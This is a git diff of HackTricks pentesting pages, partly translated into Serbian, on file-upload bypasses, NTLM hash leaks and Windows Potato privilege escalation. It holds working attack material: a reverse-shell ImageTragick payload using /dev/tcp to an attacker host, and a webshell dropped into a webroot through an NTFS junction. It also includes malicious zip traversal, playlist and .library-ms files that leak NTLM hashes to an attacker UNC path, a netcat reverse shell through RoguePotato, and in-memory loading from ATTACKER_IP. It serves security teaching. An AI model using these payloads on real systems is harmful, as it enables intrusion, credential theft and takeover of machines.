zatim upisuje bajtove u `$absolutePath . '/' . $_POST['path']` bez provere ekstenzije/tipa. +- Nastali kod se izvršava kao korisnik web servisa (npr. XAMPP Apache na Windows). -Reference za ovaj bug uključuju usd HeroLab advisory i NVD entry. Pogledajte odeljak References u nastavku. +Reference za ovu ranjivost uključuju usd HeroLab advisory i NVD entry. Pogledajte sekciju References ispod. ## **wget File Upload/SSRF Trick** -U nekim slučajevima možete otkriti da server koristi **`wget`** za **preuzimanje fajlova** i da možete **navesti** **URL**. U tim slučajevima kod može proveravati da li je ekstenzija preuzetih fajlova u whitelist-i kako bi osigurao da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\ -Maksimalna dužina imena fajla u **linux** je **255**, međutim, **wget** skraćuje imena fajlova na **236** karaktera. Možete **download a file called "A"*232+".php"+".gif"**, ovo ime fajla će **bypass** proveru (u ovom primeru **".gif"** je **valid** ekstenzija), ali `wget` će **rename** fajl u **"A"*232+".php"**. +Ponekad možete otkriti da server koristi **`wget`** za **preuzimanje fajlova** i da možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova na beloj listi kako bi se osiguralo da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\ +The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. Možete **download a file called "A"*232+".php"+".gif"**, ovo ime fajla će **bypass** the **check** (kao što je u ovom primeru **".gif"** **valid** ekstenzija) ali `wget` će **rename** fajl u **"A"*232+".php"**. ```bash #Create file and HTTP server echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")') @@ -229,13 +229,38 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= ``` Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**. -## Alati +### Escaping upload directory via NTFS junctions (Windows) -- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. +(For this attack you will need local access to the Windows machine) When uploads are stored under per-user subfolders on Windows (e.g., C:\Windows\Tasks\Uploads\\) and you control creation/deletion of that subfolder, you can replace it with a directory junction pointing to a sensitive location (e.g., the webroot). Subsequent uploads will be written into the target path, enabling code execution if the target interprets server‑side code. + +Example flow to redirect uploads into XAMPP webroot: +```cmd +:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields) +:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 + +:: 2) Remove the created folder and create a junction to webroot +rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 +cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs + +:: 3) Re-upload your payload; it lands under C:\xampp\htdocs +:: Minimal PHP webshell for testing +:: + +:: 4) Trigger +curl "http://TARGET/shell.php?cmd=whoami" +``` +Beleške +- mklink /J creates an NTFS directory junction (reparse point). Nalog web server‑a mora pratiti junction i imati write permission u destinaciji. +- Ovo preusmerava proizvoljna zapisivanja fajlova; ako destinacija izvršava skripte (PHP/ASP), ovo postaje RCE. +- Odbrane: ne dozvoljavajte writable upload roots koji su pod kontrolom napadača pod C:\Windows\Tasks ili slično; blokirajte kreiranje junction‑ova; validirajte ekstenzije na server‑sajdu; čuvajte uploadovane fajlove na zasebnom volumenu ili sa deny‑execute ACL‑ovima. + +## Tools + +- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesters i Bug Hunters u testiranju file upload mehanizama. Koristi razne bug bounty tehnike da olakša identifikaciju i eksploataciju ranjivosti, obezbeđujući temeljne procene web aplikacija. ### Corrupting upload indices with snprintf quirks (historical) -Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. +Neki legacy upload handleri koji koriste `snprintf()` ili slične funkcije da izgrade multi‑file nizove iz single‑file uploada mogu biti prevareni da forgeuju `_FILES` strukturu. Zbog nekonzistentnosti i truncation u ponašanju `snprintf()`, pažljivo sastavljen single upload može izgledati kao više indeksiranih fajlova na serverskoj strani, zbunjujući logiku koja pretpostavlja strogi oblik (npr. tretira ga kao multi‑file upload i ulazi u unsafe grane). Iako danas retko, ovaj obrazac “index corruption” povremeno se pojavljuje u CTF‑ovima i starijim kod bazama. ## From File upload to other vulnerabilities @@ -249,13 +274,13 @@ Some legacy upload handlers that use `snprintf()` or similar to build multi-file - [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) - Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) - [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**. +- Ako možete **naložiti web serveru da dohvatiti sliku sa URL‑a**, možete pokušati da zloupotrebite SSRF. Ako će se ta **slika** sačuvati na nekom **javnom** mestu, možete takođe ukazati URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije svakog posetioca**. - [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) -- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications. +- Specijalno crafted PDF‑ovi za XSS: Sledeća stranica prikazuje kako da **inject PDF data to obtain JS execution** (../xss-cross-site-scripting/pdf-injection.md). Ako možete uploadovati PDF‑ove, možete pripremiti PDF koji će izvršiti proizvoljni JS prateći date instrukcije. - Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus** -- Check if there is any **size limit** uploading files +- Proverite da li postoji neki **size limit** prilikom uploadovanja fajlova -Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +Evo top 10 stvari koje možete postići uploadovanjem (preuzeto [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE 2. **SVG**: Stored XSS / SSRF / XXE @@ -280,34 +305,34 @@ https://github.com/portswigger/upload-scanner - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["` - **JPG**: `"\xff\xd8\xff"` -Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes. +Pogledajte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) za druge tipove fajlova. ## Zip/Tar File Automatically decompressed Upload -If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things: +Ako možete uploadovati ZIP koji će biti dekompresovan na serveru, možete uraditi 2 stvari: ### Symlink -Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files: +Uploadujte arhivu koja sadrži soft linkove ka drugim fajlovima, potom, pristupajući dekompresovanim fajlovima pristupaćete linked fajlovima: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Dekompresija u različite direktorijume +### Raspakivanje u različite direktorijume -Neočekivano kreiranje fajlova u direktorijumima tokom dekompresije predstavlja značajan problem. Uprkos početnim pretpostavkama da ova postavka može štititi od OS-level command execution putem malicious file uploads, podrška za hijerarhijsku kompresiju i mogućnosti directory traversal formata ZIP arhive mogu biti iskorišćene. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulisanjem funkcionalnošću dekompresije ciljne aplikacije. +Neočekivano kreiranje fajlova u direktorijumima tokom raspakivanja predstavlja značajan problem. Uprkos početnim pretpostavkama da bi ova konfiguracija mogla da štiti od OS-level command execution kroz zlonamerne file uploads, podrška za hijerarhijsku kompresiju i mogućnosti directory traversal ZIP arhivskog formata mogu se iskoristiti. To omogućava napadačima da zaobiđu ograničenja i pobegnu iz sigurnih upload direktorijuma manipulišući funkcionalnošću raspakivanja ciljne aplikacije. -Automatizovani exploit za izradu takvih fajlova je dostupan na [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Alat se može koristiti na sledeći način: +An automated exploit to craft such files is available at [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). The utility can be used as shown: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Pored toga, **symlink trick with evilarc** je opcija. Ako je cilj da se ciljano napadne fajl poput `/flag.txt`, treba kreirati symlink ka tom fajlu na vašem sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom rada. +Takođe, **symlink trick with evilarc** je opcija. Ako je cilj da ciljate fajl kao što je `/flag.txt`, treba da kreirate symlink ka tom fajlu na svom sistemu. Ovo osigurava da evilarc ne naiđe na greške tokom svog rada. -Ispod je primer Python koda koji se koristi za kreiranje zlonamernog zip fajla: +Ispod je primer Python koda koji se koristi za kreiranje malicioznog zip fajla: ```python #!/usr/bin/python import zipfile @@ -330,7 +355,7 @@ create_zip() Za više detalja **pogledajte originalni post na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Creating a PHP Shell**: PHP kod je napisan da izvršava komande prosleđene kroz `$_REQUEST` promenljivu. +1. **Kreiranje PHP Shell-a**: PHP kod koji izvršava komande prosleđene kroz promenljivu `$_REQUEST`. ```php ``` -2. **File Spraying and Compressed File Creation**: Više fajlova se kreira i zip arhiva se sastavlja koja sadrži ove fajlove. +2. **File Spraying i kreiranje kompresovanih fajlova**: Kreira se više fajlova i sastavlja zip arhiva koja sadrži te fajlove. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modification with a Hex Editor or vi**: Nazivi fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" da bi se išlo kroz direktorijume. +3. **Modifikacija pomoću Hex Editora ili vi**: Imena fajlova unutar zip-a se menjaju koristeći vi ili hex editor, menjajući "xxA" u "../" da bi se izvršio directory traversal. ```bash :set modifiable @@ -357,38 +382,38 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Otpremite ovaj sadržaj sa image ekstenzijom da iskoristite ranjivost **(ImageMagick , 7.0.1-1)** (pogledajte [exploit](https://www.exploit-db.com/exploits/39767)) +Otpremite ovaj sadržaj sa image ekstenzijom kako biste iskoristili ranjivost **(ImageMagick, 7.0.1-1)** (iz [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Ugradnja PHP Shell-a u PNG +## Umetanje PHP Shell-a u PNG -Ugradnja PHP Shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slika. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se obično koriste za promenu veličine i ponovno uzorkovanje slika. Mogućnost da ugrađeni PHP Shell ostane neizmenjen ovim operacijama predstavlja značajnu prednost za određene slučajeve upotrebe. +Umetanje PHP Shell-a u IDAT chunk PNG fajla može efikasno zaobići određene operacije obrade slike. Funkcije `imagecopyresized` i `imagecopyresampled` iz PHP-GD su posebno relevantne u ovom kontekstu, jer se često koriste za promenu veličine i resampling slika. Sposobnost ugrađenog PHP Shell-a da ostane neupromenjen tokom ovih operacija predstavlja značajnu prednost za određene slučajeve upotrebe. -Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, nalazi se u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). +Detaljno istraživanje ove tehnike, uključujući metodologiju i potencijalne primene, dostupno je u sledećem članku: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ovaj izvor pruža sveobuhvatno razumevanje procesa i njegovih implikacija. More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot Files -Polyglot fajlovi predstavljaju jedinstven alat u cybersecurity-u, ponašajući se kao kameleon koji može validno postojati u više formata fajlova istovremeno. Zanimljiv primer je [GIFAR], hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovo sparivanje; kombinacije poput GIF i JS ili PPT i JS su takođe moguće. +Polyglot files služe kao jedinstven alat u cybersecurity-ju, ponašajući se kao kameleoni koji validno postoje u više fajl-formata istovremeno. Zanimljiv primer je [GIFAR](https://en.wikipedia.org/wiki/Gifar), hibrid koji funkcioniše i kao GIF i kao RAR arhiva. Takvi fajlovi nisu ograničeni na ovu kombinaciju; kombinacije poput GIF i JS ili PPT i JS su takođe moguće. -Osnovna korisnost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje selektuju fajlove na osnovu tipa. Uobičajena praksa u raznim aplikacijama podrazumeva dozvoljavanje samo određenih tipova fajlova za upload—kao što su JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP ili Phar fajlovi). Međutim, polyglot, prilagođavajući se strukturnim kriterijumima više tipova fajlova, može prikriveno zaobići ova ograničenja. +Glavna korist polyglot fajlova je njihova sposobnost da zaobiđu sigurnosne mere koje filtriraju fajlove na osnovu tipa. Uobičajena praksa u raznim aplikacijama je dozvoliti samo određene tipove fajlova za upload — kao što su JPEG, GIF ili DOC — kako bi se smanjio rizik od potencijalno štetnih formata (npr. JS, PHP, ili Phar fajlovi). Ipak, polyglot, prilagođavajući se strukturnim kriterijumima više tipova fajlova, može diskretno zaobići ta ograničenja. -Uprkos svojoj prilagodljivosti, polygloti imaju ograničenja. Na primer, iako polyglot može istovremeno da sadrži PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog uploada može zavisiti od politike platforme u vezi sa ekstenzijama fajlova. Ako je sistem strogo ograničen po pitanju dozvoljenih ekstenzija, sama strukturna dvostrukost polyglota možda neće biti dovoljna da garantuje upload. +Uprkos svojoj prilagodljivosti, polyglot fajlovi imaju ograničenja. Na primer, iako polyglot može istovremeno sadržati PHAR fajl (PHp ARchive) i JPEG, uspeh njegovog uploada može zavisiti od politike ekstenzija fajlova platforme. Ako sistem strogo zahteva dozvoljene ekstenzije, sama strukturna dualnost polyglota možda neće biti dovoljna da garantuje upload. More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Otpremanje validnih JSON fajlova kao da su PDF +### Upload valid JSONs like if it was PDF -Kako izbeći detekciju tipa fajla uploadovanjem validnog JSON fajla čak i ako nije dozvoljeno, falsifikujući PDF fajl (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Kako izbeći detekciju tipa fajla upload-ovanjem validnog JSON fajla čak i kada nije dozvoljeno, falsifikujući ga kao PDF (tehnike iz **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **`mmmagic` library**: Dokle god su `%PDF` magic bajtovi u prvih 1024 bajta, smatraće se validnim (pogledaj primer u postu) -- **`pdflib` library**: Ubaci lažni PDF format unutar polja JSON-a tako da biblioteka misli da je u pitanju pdf (pogledaj primer u postu) -- **`file` binary**: Može da pročita do 1048576 bajtova iz fajla. Jednostavno kreiraj JSON veći od te veličine tako da ne može da parsira sadržaj kao JSON, a zatim u okviru JSON-a ubaci početni deo stvarnog PDF-a i on će misliti da je u pitanju PDF +- **`mmmagic` library**: Dok god su `%PDF` magic bajtovi u prvih 1024 bajta, fajl se smatra validnim (pogledajte primer u postu) +- **`pdflib` library**: Dodajte lažni PDF format unutar polja JSON-a tako da biblioteka misli da je u pitanju pdf (pogledajte primer u postu) +- **`file` binary**: Može pročitati do 1048576 bajta iz fajla. Jednostavno kreirajte JSON veći od toga tako da ne može da parsira sadržaj kao JSON, a zatim unutar JSON-a stavite početni deo pravog PDF-a i on će pomisliti da je PDF ## References @@ -406,5 +431,7 @@ Kako izbeći detekciju tipa fajla uploadovanjem validnog JSON fajla čak i ako n - [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546) - [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca) - [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) +- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md index 40cdb5718..406fc625b 100644 --- a/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md +++ b/src/windows-hardening/ntlm/places-to-steal-ntlm-creds.md @@ -1,7 +1,66 @@ -# Mesta za krađu NTLM kredencijala +# Mesta za krađu NTLM creds {{#include ../../banners/hacktricks-training.md}} -**Proverite sve sjajne ideje sa [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) od preuzimanja microsoft word fajla online do izvora ntlm curenja: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md i [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)** +**Pogledajte sve sjajne ideje sa [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) — od preuzimanja microsoft word datoteke online do izvora ntlm leaks: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md i [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)** + + +### Windows Media Player playlists (.ASX/.WAX) + +Ako možete naterati metu da otvori ili pregleda Windows Media Player playlistu koju kontrolišete, možete leak Net‑NTLMv2 tako što ćete postaviti unos na UNC putanju. WMP će pokušati da preuzme referenciranu medijsku datoteku preko SMB i implicitno će se autentifikovati. + +Primer payload: +```xml + +Leak + + + + + +``` +Tok prikupljanja i cracking: +```bash +# Capture the authentication +sudo Responder -I + +# Crack the captured NetNTLMv2 +hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt +``` +### ZIP-ugrađen .library-ms NTLM leak (CVE-2025-24071/24055) + +Windows Explorer nesigurno obrađuje .library-ms fajlove kada se otvore direktno iz ZIP arhive. Ako definicija biblioteke pokazuje na udaljeni UNC put (npr. \\attacker\share), samo pregledanje/pokretanje .library-ms unutar ZIP-a natera Explorer da enumeriše UNC i pošalje NTLM autentifikaciju napadaču. To rezultuje NetNTLMv2 koji se može razbiti vanmrežno ili potencijalno relayed. + +Minimalna .library-ms koja pokazuje na UNC napadača +```xml + + +6 +Company Documents +false +shell32.dll,-235 + +{7d49d726-3c21-4f05-99aa-fdc2c9474656} + + + + +\\10.10.14.2\share + + + + +``` +Operativni koraci +- Kreirajte .library-ms fajl sa XML-om iznad (podesite svoj IP/ime hosta). +- Spakujte ga u ZIP (na Windows: Send to → Compressed (zipped) folder) i dostavite ZIP cilju. +- Pokrenite NTLM capture listener i sačekajte da žrtva otvori .library-ms iz ZIP‑a. + + +## References +- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html) +- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html) +- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md index 73f06e6f8..22b04e5a0 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md +++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md @@ -3,12 +3,12 @@ {{#include ../../banners/hacktricks-training.md}} > [!WARNING] -> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) detaljno objašnjava `PrintSpoofer` alat, koji se može koristiti za zloupotrebu privilegija impersonacije na Windows 10 i Server 2019 hostovima gde JuicyPotato više ne radi. +> **JuicyPotato ne radi** na Windows Server 2019 i Windows 10 build 1809 i novijim. Međutim, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogu da se koriste za iskorišćavanje istih privilegija i dobijanje pristupa na nivou `NT AUTHORITY\SYSTEM`.** Ovaj [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) detaljno obrađuje alat `PrintSpoofer`, koji se može koristiti za zloupotrebu impersonation privilegija na Windows 10 i Server 2019 hostovima gde JuicyPotato više ne radi. > [!TIP] -> Moderan alternativ koji se često održava u 2024–2025 je SigmaPotato (fork GodPotato) koji dodaje upotrebu in-memory/.NET reflection i proširenu podršku za OS. Vidi brzu upotrebu dole i repozitorijum u referencama. +> Moderan alternativ koji se često održava 2024–2025 je SigmaPotato (fork GodPotato) koji dodaje upotrebu in-memory/.NET reflection i proširenu podršku za OS. Pogledajte brz primer upotrebe ispod i repo u referencama. -Related pages for background and manual techniques: +Povezane stranice za pozadinu i ručne tehnike: {{#ref}} seimpersonate-from-high-to-system.md @@ -22,23 +22,24 @@ from-high-integrity-to-system-with-name-pipes.md privilege-escalation-abusing-tokens.md {{#endref}} -## Zahtevi i česti problemi +## Zahtevi i česte zamke -Sve sledeće tehnike zasnivaju se na zloupotrebi privilegisanog servisa koji može da izvrši impersonaciju, iz konteksta koji ima jednu od sledećih privilegija: +Sve sledeće tehnike se oslanjaju na zloupotrebu privilegovanog servisa sposoban za impersonaciju iz konteksta koji poseduje neku od sledećih privilegija: -- SeImpersonatePrivilege (najčešća) ili SeAssignPrimaryTokenPrivilege +- SeImpersonatePrivilege (najčešće) ili SeAssignPrimaryTokenPrivilege - Visok integritet nije potreban ako token već ima SeImpersonatePrivilege (tipično za mnoge servisne naloge kao što su IIS AppPool, MSSQL, itd.) -Brza provera privilegija: +Brzo proverite privilegije: ```cmd whoami /priv | findstr /i impersonate ``` -Operativne napomene: +Operativne beleške: -- PrintSpoofer zahteva da Print Spooler service radi i bude dostupan preko lokalnog RPC endpoint-a (spoolss). U ojačanim sredinama gde je Spooler onemogućen nakon PrintNightmare, preferirajte RoguePotato/GodPotato/DCOMPotato/EfsPotato. -- RoguePotato zahteva OXID resolver dostupan na TCP/135. Ako je egress blokiran, koristite redirector/port-forwarder (see example below). Starije build-ove je trebalo pokretati sa -f flag. -- EfsPotato/SharpEfsPotato iskorišćavaju MS-EFSR; ako je jedan pipe blokiran, probajte alternativne pipe (lsarpc, efsrpc, samr, lsass, netlogon). -- Error 0x6d3 tokom RpcBindingSetAuthInfo obično ukazuje na nepoznat/unsupported RPC authentication service; pokušajte drugi pipe/transport ili osigurajte da ciljna usluga radi. +- Ako vaša shell sesija radi pod ograničenim tokenom bez SeImpersonatePrivilege (uobičajeno za Local Service/Network Service u nekim kontekstima), povratite podrazumevane privilegije naloga koristeći FullPowers, pa onda pokrenite Potato. Primer: `FullPowers.exe -c "cmd /c whoami /priv" -z` +- PrintSpoofer zahteva da Print Spooler servis radi i da mu se može pristupiti preko lokalne RPC endpoint (spoolss). U ojačanim okruženjima gde je Spooler onemogućen nakon PrintNightmare, preferirajte RoguePotato/GodPotato/DCOMPotato/EfsPotato. +- RoguePotato zahteva OXID resolver dostupan na TCP/135. Ako je izlaz (egress) blokiran, koristite redirector/port-forwarder (vidi primer ispod). Starije verzije su zahtevale -f flag. +- EfsPotato/SharpEfsPotato zloupotrebljavaju MS-EFSR; ako je jedan pipe blokiran, pokušajte alternativne pipe-ove (lsarpc, efsrpc, samr, lsass, netlogon). +- Greška 0x6d3 tokom RpcBindingSetAuthInfo obično ukazuje na nepoznatu/neudržavanu RPC autentikacionu uslugu; pokušajte drugi pipe/transport ili se uverite da ciljna usluga radi. ## Brzi demo @@ -58,7 +59,7 @@ NULL ``` Napomene: -- Možete koristiti -i da pokrenete interaktivni proces u trenutnoj konzoli, ili -c da izvršite jednolinijsku komandu. +- Možete koristiti -i da pokrenete interaktivni proces u trenutnoj konzoli, ili -c da izvršite one-liner. - Zahteva Spooler servis. Ako je onemogućen, ovo neće uspeti. ### RoguePotato @@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l # In some old versions you need to use the "-f" param c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999 ``` -Ako je outbound 135 blokiran, pivot-ujte OXID resolver preko socat na svom redirectoru: +Ako je outbound 135 blokiran, pivot the OXID resolver via socat on your redirector: ```bash # On attacker redirector (must listen on TCP/135 and forward to victim:9999) socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999 @@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su nt authority\system ``` -Savet: Ako jedan pipe zakaže ili EDR ga blokira, pokušajte sa drugim podržanim pipe-ovima: +Savet: Ako jedna pipe zakaže ili ju EDR blokira, pokušajte druge podržane pipe: ```text EfsPotato [pipe] pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc) @@ -129,7 +130,7 @@ Napomene: ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa) -DCOMPotato nudi dve varijante koje ciljaju servisne DCOM objekte koji podrazumevano koriste RPC_C_IMP_LEVEL_IMPERSONATE. Kompajlirajte ili koristite priložene binarne fajlove i pokrenite svoju komandu: +DCOMPotato nudi dve varijante koje ciljaju servisne DCOM objekte koji podrazumevano koriste RPC_C_IMP_LEVEL_IMPERSONATE. Kompajlirajte ili koristite priložene binarne i pokrenite svoju komandu: ```cmd # PrinterNotify variant PrinterNotifyPotato.exe "cmd /c whoami" @@ -137,9 +138,9 @@ PrinterNotifyPotato.exe "cmd /c whoami" # McpManagementService variant (Server 2022 also) McpManagementPotato.exe "cmd /c whoami" ``` -### SigmaPotato (ažurirani fork GodPotato) +### SigmaPotato (ažuriran GodPotato fork) -SigmaPotato dodaje moderne pogodnosti kao što su in-memory execution putem .NET reflection i PowerShell reverse shell helper. +SigmaPotato dodaje modernije pogodnosti kao što su in-memory execution putem .NET reflection i PowerShell reverse shell helper. ```powershell # Load and execute from memory (no disk touch) [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe")) @@ -150,11 +151,11 @@ SigmaPotato dodaje moderne pogodnosti kao što su in-memory execution putem .NET ``` ## Beleške o detekciji i ojačavanju -- Pratite procese koji kreiraju named pipes i odmah pozivaju token-duplication APIs, a potom CreateProcessAsUser/CreateProcessWithTokenW. Sysmon može prikazati korisnu telemetriju: Event ID 1 (kreiranje procesa), 17/18 (named pipe kreiran/povezan) i komandne linije koje pokreću child procese kao 